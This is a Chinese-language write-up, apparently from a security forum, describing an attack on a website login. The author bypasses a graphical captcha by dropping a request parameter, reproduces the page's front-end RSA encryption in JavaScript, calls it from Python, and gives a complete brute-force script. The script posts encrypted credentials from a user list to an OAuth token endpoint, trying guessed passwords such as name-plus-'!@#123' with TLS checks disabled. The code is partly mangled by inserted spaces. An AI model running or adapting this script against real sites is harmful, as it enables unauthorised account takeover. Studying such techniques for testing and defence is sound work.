某网站登录的时候如下:
然后我删除j_authcode以及一些有用的参数,可以绕过图形验证码
那么这样就可以进行爆破了。不过我们可以看到用户名和密码 这究竟是什么玄妙呢?我们来看看前端代码。
可以看到这里是RSA智能。然后通过断点查看指数和模量的值。
值是,搜索后发现就存储config.js中,固定私钥在RSA的模数。
但这是一个 256 位公钥的 RSA,在其他环境中几乎找不到这种可能性的项目 而 js 出现了RSA.js/Barrett.js/BigInt.js
这么一个早期项目。这种时候就需要用python去调js代码来进行洗。
先写出js智能的代码来看看效果:
- <s cript src="./rsa/RSA.js" type="text/j avas cript"></s cript>
- <s cript src="./rsa/BigInt.js" type="text/j avas cript"></s cript>
- <s cript src="./rsa/Barrett.js" type="text/j avas cript"></s cript>
- <s cript src="./rsa/config.js" type="text/j avas cript"></s cript>
- <s cript>
- functiona(paramStr){
- setMaxDigits(130);
- key = new RSAKeyPair(exponent, "", modulus);
- return encryptedString(key,encodeURIComponent(paramStr));
-
- }
- qqq= a("admin");
- a lert(qqq);
- </s cript>
复制代码
这里可以看到和Burp Suite里是一模一样然后把4个js带html里的js代码合并到同一个文件里
用python的execjs库去调。
- import execjs
- defrsa(str):
- file = 'RSA.js'
- ctx = execjs.compile(open(file).read())
- js = 'a("'+str+'")'
- params = ctx.e val(js)
- return params
- print(rsa("admin"))
- [align=left]
复制代码
写出来最后破破的剧本:
- import requests
- import execjs
- requests.packages.urllib3.disable_warnings()
- defurlpost(username,password):
- rusername = rsa(username)
- rpassword = rsa(password)
- url = "https://x.com/oauth/token"
- header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0)Ge
- cko/20100101 Firefox/79.0",
- "X-Requested-With": "X MLHttpRequest",
- "Content-Type": "application/x-www-form-urlencoded"
- }
- cookie = {}
- data = {"username":rusername,
- "password":rpassword,
- "grant_type":"password",
- "scope":"service",
- "client_id":"spm",
- "client_secret":"sinoprof"
- }
- r =requests.post(url,cookies=cookie,headers=header,data=data,allo
- w_redirects=False,verify=False)
- print(r.status_code)
- if r.status_code == 200:
- print(username+password+"success")
- exit()
- else:
- print(username+password+"error")
- defrsa(str):
- file = 'RSA.js'
- ctx = execjs.compile(open(file).read())
- js = 'a("'+str+'")'
- params = ctx.e val(js)
- return params
- folist= open('user.txt','r')
- for i in folist.readlines():
- i = i.replace('\n','')
- urlpost(i,i+"!@#456")
- urlpost(i,i+"!@#123")
- urlpost(i,"123456")
复制代码
最终效果如下图所示:
|